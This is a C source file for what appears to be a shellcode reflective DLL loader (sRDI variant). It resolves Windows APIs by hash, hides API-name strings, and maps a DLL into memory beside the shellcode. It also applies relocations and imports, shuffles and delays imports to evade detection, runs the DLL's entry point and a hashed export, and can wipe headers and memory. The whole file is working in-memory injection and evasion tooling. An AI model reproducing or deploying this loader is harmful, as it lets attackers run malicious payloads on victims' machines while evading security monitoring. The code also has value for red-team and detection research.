#define WIN32_LEAN_AND_MEAN

#pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union'

#include "GetProcAddressWithHash.h"

#include <windows.h>
#include <winternl.h>
#include <intrin.h>

#define SRDI_CLEARHEADER 0x1
#define SRDI_CLEARMEMORY 0x2
#define SRDI_OBFUSCATEIMPORTS 0x4
#define SRDI_PASS_SHELLCODE_BASE 0x8

#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

/** NOTE: module hashes are computed using all-caps unicode strings */
#define KERNEL32DLL_HASH				0x6A4ABC5B
#define NTDLLDLL_HASH					0x3CFA685D

#define LOADLIBRARYA_HASH				0x726774c
#define GETPROCADDRESS_HASH				0x7802f749
#define VIRTUALALLOC_HASH				0xe553a458
#define EXITTHREAD_HASH					0xa2a1de0
#define NTFLUSHINSTRUCTIONCACHE_HASH	0x945cb1af
#define RTLEXITUSERTHREAD_HASH			0xFF7F061A // Vista+
#define GETNATIVESYSTEMINFO_HASH	    0x959e0033
#define VIRTUALPROTECT_HASH				0xc38ae110
#define MESSAGEBOXA_HASH				0x7568345
#define LOCALFREE_HASH					0xea61fcb1			
#define VIRTUALFREE_HASH				0x300f2f0b
#define SLEEP_HASH						0xe035f044
#define RTLADDFUNCTIONTABLE_HASH		0x45b82eba

#define LDRLOADDLL_HASH					0xbdbf9c13
#define LDRGETPROCADDRESS_HASH			0x5ed941b5


#define HASH_KEY						13

#ifdef _WIN64
#define HOST_MACHINE IMAGE_FILE_MACHINE_AMD64
#else
#define HOST_MACHINE IMAGE_FILE_MACHINE_I386
#endif

// 100-ns period
#define OBFUSCATE_IMPORT_DELAY 5 * 1000 * 10000

typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
typedef BOOL(*EXPORTFUNC)(LPVOID, DWORD);

typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR);
typedef ULONG_PTR(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef VOID(WINAPI * EXITTHREAD)(DWORD);
typedef BOOL(NTAPI  * FLUSHINSTRUCTIONCACHE)(HANDLE, LPCVOID, SIZE_T);
typedef VOID(WINAPI * GETNATIVESYSTEMINFO)(LPSYSTEM_INFO);
typedef BOOL(WINAPI * VIRTUALPROTECT)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef int (WINAPI * MESSAGEBOXA)(HWND, LPSTR, LPSTR, UINT);
typedef BOOL(WINAPI * VIRTUALFREE)(LPVOID, SIZE_T, DWORD);
typedef BOOL(WINAPI * LOCALFREE)(LPVOID);
typedef VOID(WINAPI* SLEEP)(DWORD);
typedef BOOLEAN(WINAPI* RTLADDFUNCTIONTABLE)(PVOID, DWORD, DWORD64);

typedef NTSTATUS(WINAPI *LDRLOADDLL)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
typedef NTSTATUS(WINAPI *LDRGETPROCADDRESS)(HMODULE, PANSI_STRING, WORD, PVOID*);

#pragma warning( push )
#pragma warning( disable : 4214 ) // nonstandard extension
typedef struct
{
	WORD	offset : 12;
	WORD	type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
#pragma warning(pop)

static inline size_t
AlignValueUp(size_t value, size_t alignment) {
	return (value + alignment - 1) & ~(alignment - 1);
}
static inline size_t
_strlen(char* s) {
	size_t i;
	for (i = 0; s[i] != '\0'; i++);
	return i;
}

static inline size_t
_wcslen(wchar_t* s) {
	size_t i;
	for (i = 0; s[i] != '\0'; i++);
	return i;
}

#define RVA(type, base, rva) (type)((ULONG_PTR) base + rva)

#define FILL_STRING(string, buffer) \
	string.Length = (USHORT)_strlen(buffer); \
	string.MaximumLength = string.Length; \
	string.Buffer = buffer

#define FILL_UNI_STRING(string, buffer) \
	string.Length = (USHORT)_wcslen(buffer); \
	string.MaximumLength = string.Length; \
	string.Buffer = buffer

#define FILL_STRING_WITH_BUF(string, buffer) \
	string.Length = sizeof(buffer); \
	string.MaximumLength = string.Length; \
	string.Buffer = (PCHAR)buffer

ULONG_PTR LoadDLL(PBYTE pbModule, DWORD dwFunctionHash, LPVOID lpUserData, DWORD dwUserdataLen, PVOID pvShellcodeBase, DWORD dwFlags)
{
	#pragma warning( push )
	#pragma warning( disable : 4055 ) // Ignore cast warnings

	// Function pointers

	LDRLOADDLL pLdrLoadDll = NULL;
	LDRGETPROCADDRESS pLdrGetProcAddress = NULL;

	LOADLIBRARYA pLoadLibraryA = NULL;
	VIRTUALALLOC pVirtualAlloc = NULL;
	FLUSHINSTRUCTIONCACHE pFlushInstructionCache = NULL;
	GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;
	VIRTUALPROTECT pVirtualProtect = NULL;
	VIRTUALFREE pVirtualFree = NULL;
	LOCALFREE pLocalFree = NULL;
	SLEEP pSleep = NULL;
	RTLADDFUNCTIONTABLE pRtlAddFunctionTable = NULL;

	//CHAR msg[2] = { 'a','\0' };
	//MESSAGEBOXA pMessageBoxA = NULL;

	// PE data
	PIMAGE_NT_HEADERS ntHeaders;
	PIMAGE_SECTION_HEADER sectionHeader;
	PIMAGE_DATA_DIRECTORY dataDir;
	PIMAGE_IMPORT_DESCRIPTOR importDesc;
	PIMAGE_DELAYLOAD_DESCRIPTOR delayDesc;
	PIMAGE_THUNK_DATA firstThunk, origFirstThunk;
	PIMAGE_IMPORT_BY_NAME importByName;
	PIMAGE_TLS_DIRECTORY tlsDir;
	PIMAGE_TLS_CALLBACK * callback;
	PIMAGE_BASE_RELOCATION relocation;
	PIMAGE_RELOC relocList;
	PIMAGE_EXPORT_DIRECTORY exportDir;
#ifdef _WIN64
	PIMAGE_RUNTIME_FUNCTION_ENTRY rfEntry;
#endif
	PDWORD expName;
	PWORD expOrdinal;
	LPCSTR expNameStr;

	// Functions
	DLLMAIN dllMain;
	EXPORTFUNC exportFunc;

	// Memory protections
	DWORD executable, readable, writeable, protect;

	// Counters
	DWORD i = 0;
	DWORD c = 0;

	// Alignment
	DWORD lastSectionEnd;
	DWORD endOfSection;
	DWORD alignedImageSize;
	ULONG_PTR baseOffset;
	SYSTEM_INFO sysInfo;

	// General
	DWORD funcHash;
	DWORD importCount;
	HANDLE library;

	// String
	UNICODE_STRING uString = { 0 };
	STRING aString = { 0 };
	
	WCHAR sKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'};

	// At a certain length (15ish), the compiler with screw with inline
	// strings declared as CHAR. No idea why, use BYTE to get around it.

	BYTE sSleep[] = { 'S', 'l', 'e', 'e', 'p' };
	BYTE sLoadLibrary[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A' };
	BYTE sVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c' };
	BYTE sVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't' };
	BYTE sFlushInstructionCache[] = { 'F', 'l', 'u', 's', 'h', 'I', 'n', 's', 't', 'r', 'u', 'c', 't', 'i', 'o', 'n', 'C', 'a', 'c', 'h', 'e' };
	BYTE sGetNativeSystemInfo[] = { 'G', 'e', 't', 'N', 'a', 't', 'i', 'v', 'e', 'S', 'y', 's', 't', 'e', 'm', 'I', 'n', 'f', 'o' };
	BYTE sRtlAddFunctionTable[] = { 'R', 't', 'l', 'A', 'd', 'd', 'F', 'u', 'n', 'c', 't', 'i', 'o', 'n', 'T', 'a', 'b', 'l', 'e' };

	// Import obfuscation
	DWORD randSeed;
	DWORD rand;
	DWORD sleep;
	DWORD selection;
	IMAGE_IMPORT_DESCRIPTOR tempDesc;

	// Relocated base
	ULONG_PTR baseAddress;

	// -------

	///
	// STEP 1: locate all the required functions
	///

	pLdrLoadDll = (LDRLOADDLL)GetProcAddressWithHash(LDRLOADDLL_HASH);
	pLdrGetProcAddress = (LDRGETPROCADDRESS)GetProcAddressWithHash(LDRGETPROCADDRESS_HASH);

	uString.Buffer = sKernel32;
	uString.MaximumLength = sizeof(sKernel32);
	uString.Length = sizeof(sKernel32);

	//pMessageBoxA = (MESSAGEBOXA)GetProcAddressWithHash(MESSAGEBOXA_HASH);

	pLdrLoadDll(NULL, 0, &uString, &library);

	FILL_STRING_WITH_BUF(aString, sVirtualAlloc);
	pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pVirtualAlloc);

	FILL_STRING_WITH_BUF(aString, sVirtualProtect);
	pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pVirtualProtect);

	FILL_STRING_WITH_BUF(aString, sFlushInstructionCache);
	pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pFlushInstructionCache);

	FILL_STRING_WITH_BUF(aString, sGetNativeSystemInfo);
	pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pGetNativeSystemInfo);

	FILL_STRING_WITH_BUF(aString, sSleep);
	pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pSleep);

	FILL_STRING_WITH_BUF(aString, sRtlAddFunctionTable);
	pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pRtlAddFunctionTable);

	FILL_STRING_WITH_BUF(aString, sLoadLibrary);
	pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pLoadLibraryA);

	//FILL_STRING_WITH_BUF(aString, sMessageBox);
	//pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pMessageBoxA);

	if (!pVirtualAlloc || !pVirtualProtect || !pSleep ||
		!pFlushInstructionCache || !pGetNativeSystemInfo) {
		return 0;
	}
	
	///
	// STEP 2: load our image into a new permanent location in memory
	///

	ntHeaders = RVA(PIMAGE_NT_HEADERS, pbModule, ((PIMAGE_DOS_HEADER)pbModule)->e_lfanew);

	// Perform sanity checks on the image (Stolen from https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c)

	if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
		return 0;

	if (ntHeaders->FileHeader.Machine != HOST_MACHINE)
		return 0;

	if (ntHeaders->OptionalHeader.SectionAlignment & 1)
		return 0;

	// Align the image to the page size (Stolen from https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c)

	sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
	lastSectionEnd = 0;

	for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {
		if (sectionHeader->SizeOfRawData == 0) {
			endOfSection = sectionHeader->VirtualAddress + ntHeaders->OptionalHeader.SectionAlignment;
		}
		else {
			endOfSection = sectionHeader->VirtualAddress + sectionHeader->SizeOfRawData;
		}

		if (endOfSection > lastSectionEnd) {
			lastSectionEnd = endOfSection;
		}
	}

	pGetNativeSystemInfo(&sysInfo);
	alignedImageSize = (DWORD)AlignValueUp(ntHeaders->OptionalHeader.SizeOfImage, sysInfo.dwPageSize);
	if (alignedImageSize != AlignValueUp(lastSectionEnd, sysInfo.dwPageSize)) {
		return 0;
	}
		
	// Allocate all the memory for the DLL to be loaded into. Attempt to use the preferred base address.

	/*baseAddress = (ULONG_PTR)pVirtualAlloc(
		(LPVOID)(ntHeaders->OptionalHeader.ImageBase),
		alignedImageSize,
		MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE
	);

	if (baseAddress == 0) {
		baseAddress = (ULONG_PTR)pVirtualAlloc(
			NULL,
			alignedImageSize,
			MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE
		);
	}
	*/
	const size_t offset = 500 * 1024;  // 500 kB in bytes - chosen offset from shellcode location - adapt it to your needs
	baseAddress = (ULONG_PTR)pvShellcodeBase + offset;
	
	
	// Copy over the headers

	if (dwFlags & SRDI_CLEARHEADER) {
		((PIMAGE_DOS_HEADER)baseAddress)->e_lfanew = ((PIMAGE_DOS_HEADER)pbModule)->e_lfanew;

		for (i = ((PIMAGE_DOS_HEADER)pbModule)->e_lfanew; i < ntHeaders->OptionalHeader.SizeOfHeaders; i++) {
			((PBYTE)baseAddress)[i] = ((PBYTE)pbModule)[i];
		}

	}else{
		for (i = 0; i < ntHeaders->OptionalHeader.SizeOfHeaders; i++) {
			((PBYTE)baseAddress)[i] = ((PBYTE)pbModule)[i];
		}
	}

	ntHeaders = RVA(PIMAGE_NT_HEADERS, baseAddress, ((PIMAGE_DOS_HEADER)baseAddress)->e_lfanew);
	
	///
	// STEP 3: Load in the sections
	///

	sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);

	for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {
		for (c = 0; c < sectionHeader->SizeOfRawData; c++) {
			((PBYTE)(baseAddress + sectionHeader->VirtualAddress))[c] = ((PBYTE)(pbModule + sectionHeader->PointerToRawData))[c];
		}
	}

	///
	// STEP 4: process all of our images relocations (assuming we missed the preferred address)
	///

	baseOffset = baseAddress - ntHeaders->OptionalHeader.ImageBase;
	dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

	if (baseOffset && dataDir->Size) {

		relocation = RVA(PIMAGE_BASE_RELOCATION, baseAddress, dataDir->VirtualAddress);

		while (relocation->VirtualAddress) {
			relocList = (PIMAGE_RELOC)(relocation + 1);

			while ((PBYTE)relocList != (PBYTE)relocation + relocation->SizeOfBlock) {

				if (relocList->type == IMAGE_REL_BASED_DIR64)
					*(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += baseOffset;
				else if (relocList->type == IMAGE_REL_BASED_HIGHLOW)
					*(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += (DWORD)baseOffset;
				else if (relocList->type == IMAGE_REL_BASED_HIGH)
					*(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += HIWORD(baseOffset);
				else if (relocList->type == IMAGE_REL_BASED_LOW)
					*(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += LOWORD(baseOffset);

				relocList++;
			}
			relocation = (PIMAGE_BASE_RELOCATION)relocList;
		}
	}

	///
	// STEP 5: process our import table
	///

	dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	randSeed = (DWORD)((ULONGLONG)pbModule);

	if (dataDir->Size) {

		importDesc = RVA(PIMAGE_IMPORT_DESCRIPTOR, baseAddress, dataDir->VirtualAddress);
		importCount = 0;
		for (; importDesc->Name; importDesc++) {
			importCount++;
		}

		sleep = 0;
		importDesc = RVA(PIMAGE_IMPORT_DESCRIPTOR, baseAddress, dataDir->VirtualAddress);
		if (dwFlags & SRDI_OBFUSCATEIMPORTS && importCount > 1) {
			sleep = (dwFlags & 0xFFFF0000);
			sleep = sleep >> 16;

			for (i = 0; i < importCount - 1; i++) {
				randSeed = (214013 * randSeed + 2531011);
				rand = (randSeed >> 16) & 0x7FFF;
				selection = i + rand / (32767 / (importCount - i) + 1);

				tempDesc = importDesc[selection];
				importDesc[selection] = importDesc[i];
				importDesc[i] = tempDesc;
			}
		}

		importDesc = RVA(PIMAGE_IMPORT_DESCRIPTOR, baseAddress, dataDir->VirtualAddress);
		for (; importDesc->Name; importDesc++) {

			library = pLoadLibraryA((LPSTR)(baseAddress + importDesc->Name));

			firstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, importDesc->FirstThunk);
			origFirstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, importDesc->OriginalFirstThunk);

			for (; origFirstThunk->u1.Function; firstThunk++, origFirstThunk++) {

				if (IMAGE_SNAP_BY_ORDINAL(origFirstThunk->u1.Ordinal)) {
					pLdrGetProcAddress(library, NULL, (WORD)origFirstThunk->u1.Ordinal, (PVOID *)&(firstThunk->u1.Function));
				}
				else {
					importByName = RVA(PIMAGE_IMPORT_BY_NAME, baseAddress, origFirstThunk->u1.AddressOfData);
					FILL_STRING(aString, importByName->Name);
					pLdrGetProcAddress(library, &aString, 0, (PVOID*)&(firstThunk->u1.Function));
				}
			}

			if (sleep && dwFlags & SRDI_OBFUSCATEIMPORTS && importCount > 1) {
				pSleep(sleep * 1000);
			}
		}
	}

	///
	// STEP 6: process our delayed import table
	///

	dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT];

	if (dataDir->Size) {
		delayDesc = RVA(PIMAGE_DELAYLOAD_DESCRIPTOR, baseAddress, dataDir->VirtualAddress);

		for (; delayDesc->DllNameRVA; delayDesc++) {

			library = pLoadLibraryA((LPSTR)(baseAddress + delayDesc->DllNameRVA));

			firstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, delayDesc->ImportAddressTableRVA);
			origFirstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, delayDesc->ImportNameTableRVA);

			for (; firstThunk->u1.Function; firstThunk++, origFirstThunk++) {
				if (IMAGE_SNAP_BY_ORDINAL(origFirstThunk->u1.Ordinal)) {
					pLdrGetProcAddress(library, NULL, (WORD)origFirstThunk->u1.Ordinal, (PVOID *)&(firstThunk->u1.Function));
				}
				else {
					importByName = RVA(PIMAGE_IMPORT_BY_NAME, baseAddress, origFirstThunk->u1.AddressOfData);
					FILL_STRING(aString, importByName->Name);
					pLdrGetProcAddress(library, &aString, 0, (PVOID *)&(firstThunk->u1.Function));
				}
			}
		}
	}

	
	///
	// STEP 7: Finalize our sections. Set memory protections.
	///

	sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);

	for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {

		if (sectionHeader->SizeOfRawData) {

			// determine protection flags based on characteristics
			executable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
			readable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
			writeable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;

			if (!executable && !readable && !writeable)
				protect = PAGE_NOACCESS;
			else if (!executable && !readable && writeable)
				protect = PAGE_WRITECOPY;
			else if (!executable && readable && !writeable)
				protect = PAGE_READONLY;
			else if (!executable && readable && writeable)
				protect = PAGE_READWRITE;
			else if (executable && !readable && !writeable)
				protect = PAGE_EXECUTE;
			else if (executable && !readable && writeable)
				protect = PAGE_EXECUTE_WRITECOPY;
			else if (executable && readable && !writeable)
				protect = PAGE_EXECUTE_READ;
			else if (executable && readable && writeable)
				protect = PAGE_EXECUTE_READWRITE;

			if (sectionHeader->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
				protect |= PAGE_NOCACHE;
			}

			// change memory access flags
			/*
			pVirtualProtect(
				(LPVOID)(baseAddress + sectionHeader->VirtualAddress),
				sectionHeader->SizeOfRawData,
				protect, &protect
			);
			*/
		}

	}

	// We must flush the instruction cache to avoid stale code being used
	pFlushInstructionCache((HANDLE)-1, NULL, 0);

	///
	// STEP 8: Execute TLS callbacks
	///

	dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];

	if (dataDir->Size)
	{
		tlsDir = RVA(PIMAGE_TLS_DIRECTORY, baseAddress, dataDir->VirtualAddress);
		callback = (PIMAGE_TLS_CALLBACK *)(tlsDir->AddressOfCallBacks);
		
		for (; *callback; callback++) {
			(*callback)((LPVOID)baseAddress, DLL_PROCESS_ATTACH, NULL);
		}
	}

	///
	// STEP 9: Register exception handlers (x64 only)
	///

#ifdef _WIN64
	dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];

	if (pRtlAddFunctionTable && dataDir->Size)
	{
		rfEntry = RVA(PIMAGE_RUNTIME_FUNCTION_ENTRY, baseAddress, dataDir->VirtualAddress);
		pRtlAddFunctionTable(rfEntry, (dataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1, baseAddress);
	}
#endif

	///
	// STEP 10: call our images entry point
	///

	dllMain = RVA(DLLMAIN, baseAddress, ntHeaders->OptionalHeader.AddressOfEntryPoint);
	dllMain((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, (LPVOID)1);

	///
	// STEP 11: call our exported function
	///

	if (dwFunctionHash) {
		
		do
		{
			dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
			if (!dataDir->Size)
				break;

			exportDir = (PIMAGE_EXPORT_DIRECTORY)(baseAddress + dataDir->VirtualAddress);
			if (!exportDir->NumberOfNames || !exportDir->NumberOfFunctions)
				break;

			expName = RVA(PDWORD, baseAddress, exportDir->AddressOfNames);
			expOrdinal = RVA(PWORD, baseAddress, exportDir->AddressOfNameOrdinals);

			for (i = 0; i < exportDir->NumberOfNames; i++, expName++, expOrdinal++) {

				expNameStr = RVA(LPCSTR, baseAddress, *expName);
				funcHash = 0;

				if (!expNameStr)
					break;

				for (; *expNameStr; expNameStr++) {
					funcHash += *expNameStr;
					funcHash = ROTR32(funcHash, 13);
					
				}

				if (dwFunctionHash == funcHash && expOrdinal)
				{
					exportFunc = RVA(EXPORTFUNC, baseAddress, *(PDWORD)(baseAddress + exportDir->AddressOfFunctions + (*expOrdinal * 4)));

					if (dwFlags & SRDI_PASS_SHELLCODE_BASE) {
						exportFunc(pvShellcodeBase, sizeof(PVOID));
					} else {
                        exportFunc(lpUserData, dwUserdataLen);                
					}
					
					break;
				}
			}
		} while (0);
	}

	if (dwFlags & SRDI_CLEARMEMORY && pVirtualFree && pLocalFree) {
		if (!pVirtualFree((LPVOID)pbModule, 0, 0x8000))
			pLocalFree((LPVOID)pbModule);
	}
	 
	// Atempt to return a handle to the module
	return baseAddress;
}
